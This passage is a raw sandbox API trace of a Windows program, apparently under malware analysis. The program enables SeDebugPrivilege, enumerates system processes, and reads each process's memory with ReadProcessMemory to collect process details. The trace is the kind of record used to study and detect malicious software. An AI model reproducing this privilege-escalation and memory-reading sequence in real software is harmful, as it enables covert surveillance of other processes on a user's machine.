dwProcessId=0x44c) returned 0xa9c [0351.981] GetLastError () returned 0x0 [0351.982] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.982] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.982] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.983] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.983] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.983] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.983] malloc (_Size=0x52) returned 0xea9f30 [0351.983] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472168, lpBuffer=0xea9f30, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9f30*, lpNumberOfBytesRead=0x0) returned 1 [0351.984] free (_Block=0xea9f30) [0351.984] CloseHandle (hObject=0xa9c) returned 1 [0351.984] _ui64tow_s (in: _Value=0x370, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="880") returned 0x0 [0351.984] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="880") returned 3 [0351.984] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.984] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.985] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xa9c [0351.985] GetLastError () returned 0x0 [0351.985] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.986] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.986] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.986] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5924f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.986] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.986] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.987] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.987] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.987] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.987] malloc (_Size=0x68) returned 0xeb6700 [0351.987] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592168, lpBuffer=0xeb6700, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0351.988] free (_Block=0xeb6700) [0351.988] CloseHandle (hObject=0xa9c) returned 1 [0351.988] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0351.988] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4280") returned 4 [0351.988] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.988] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.989] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0xa9c [0351.989] GetLastError () returned 0x0 [0351.991] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.991] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.991] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.992] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5426a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.992] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x542278, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.992] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.992] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.992] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.992] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x541c30, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.993] malloc (_Size=0x7a) returned 0xe883f0 [0351.993] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5422ec, lpBuffer=0xe883f0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe883f0*, lpNumberOfBytesRead=0x0) returned 1 [0351.993] free (_Block=0xe883f0) [0351.993] CloseHandle (hObject=0xa9c) returned 1 [0351.993] _ui64tow_s (in: _Value=0x11e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4576") returned 0x0 [0351.994] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4576") returned 4 [0351.994] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.994] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.995] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e0) returned 0xa9c [0351.995] GetLastError () returned 0x0 [0351.995] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.995] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2228, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.995] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.995] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.996] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.996] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.996] malloc (_Size=0x6a) returned 0xea8c20 [0351.996] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2290, lpBuffer=0xea8c20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8c20*, lpNumberOfBytesRead=0x0) returned 1 [0351.996] free (_Block=0xea8c20) [0351.997] CloseHandle (hObject=0xa9c) returned 1 [0351.998] free (_Block=0x2410080) [0352.002] malloc (_Size=0x48) returned 0xea77a0 [0352.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ed6c8 | out: lpSystemTimeAsFileTime=0x5ed6c8*(dwLowDateTime=0x8be3497b, dwHighDateTime=0x1dac836)) [0352.002] SetEvent (hEvent=0x404) returned 1 [0353.466] SetEvent (hEvent=0x404) returned 1 [0353.467] free (_Block=0xea77a0) [0353.467] GetCurrentThread () returned 0xfffffffffffffffe [0353.467] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x5ed690 | out: TokenHandle=0x5ed690*=0xa9c) returned 1 [0353.467] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x5ed6cc | out: lpLuid=0x5ed6cc*(LowPart=0x14, HighPart=0)) returned 1 [0353.468] RtlRestoreLastWin32Error () returned 0x2ad000 [0353.468] AdjustTokenPrivileges (in: TokenHandle=0xa9c, DisableAllPrivileges=0, NewState=0x5ed6c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0353.468] GetLastError () returned 0x0 [0353.468] CloseHandle (hObject=0xa9c) returned 1 [0353.468] malloc (_Size=0x8000) returned 0xe9afd0 [0353.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe9afd0, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0xe9afd0, ResultLength=0x0) returned 0xc0000004 [0353.470] free (_Block=0xe9afd0) [0353.470] malloc (_Size=0x10000) returned 0xeced60 [0353.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0353.473] free (_Block=0xeced60) [0353.473] malloc (_Size=0x18000) returned 0xeced60 [0353.473] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0353.480] free (_Block=0xeced60) [0353.480] malloc (_Size=0x20000) returned 0xf1af50 [0353.481] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf1af50, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xf1af50, ResultLength=0x0) returned 0xc0000004 [0353.485] free (_Block=0xf1af50) [0353.485] malloc (_Size=0x28000) returned 0x2410080 [0353.486] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2410080, Length=0x28000, ResultLength=0x0 | out: SystemInformation=0x2410080, ResultLength=0x0) returned 0x0 [0353.490] _ui64tow_s (in: _Value=0x0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0353.490] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="0") returned 1 [0353.490] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x97b9, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.490] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.494] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0353.494] CloseHandle (hObject=0x0) returned 0 [0353.494] _ui64tow_s (in: _Value=0x4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0353.494] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4") returned 1 [0353.494] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.494] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.495] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0353.495] CloseHandle (hObject=0x0) returned 0 [0353.495] _ui64tow_s (in: _Value=0x48, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="72") returned 0x0 [0353.496] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="72") returned 2 [0353.496] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.496] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48) returned 0x0 [0353.497] CloseHandle (hObject=0x0) returned 0 [0353.497] _ui64tow_s (in: _Value=0x164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="356") returned 0x0 [0353.497] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="356") returned 3 [0353.497] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.497] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x164) returned 0x0 [0353.498] CloseHandle (hObject=0x0) returned 0 [0353.498] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0353.499] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="452") returned 3 [0353.499] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.499] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0353.500] CloseHandle (hObject=0x0) returned 0 [0353.500] _ui64tow_s (in: _Value=0x208, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="520") returned 0x0 [0353.500] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="520") returned 3 [0353.500] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.500] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x0 [0353.501] CloseHandle (hObject=0x0) returned 0 [0353.502] _ui64tow_s (in: _Value=0x210, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0353.502] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="528") returned 3 [0353.502] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.502] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0353.503] CloseHandle (hObject=0x0) returned 0 [0353.503] _ui64tow_s (in: _Value=0x24c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="588") returned 0x0 [0353.503] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="588") returned 3 [0353.503] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.504] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0xa9c [0353.504] GetLastError () returned 0x0 [0353.504] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.505] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.505] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581f00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.506] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c00, lpBuffer=0x5ec5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.510] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.510] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5815b0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.510] malloc (_Size=0x1c) returned 0xecd390 [0353.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c42, lpBuffer=0xecd390, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd390*, lpNumberOfBytesRead=0x0) returned 1 [0353.511] free (_Block=0xecd390) [0353.511] CloseHandle (hObject=0xa9c) returned 1 [0353.511] _ui64tow_s (in: _Value=0x264, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="612") returned 0x0 [0353.511] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="612") returned 3 [0353.511] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.511] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.512] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x264) returned 0x0 [0353.512] CloseHandle (hObject=0x0) returned 0 [0353.512] _ui64tow_s (in: _Value=0x26c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="620") returned 0x0 [0353.513] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="620") returned 3 [0353.513] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, 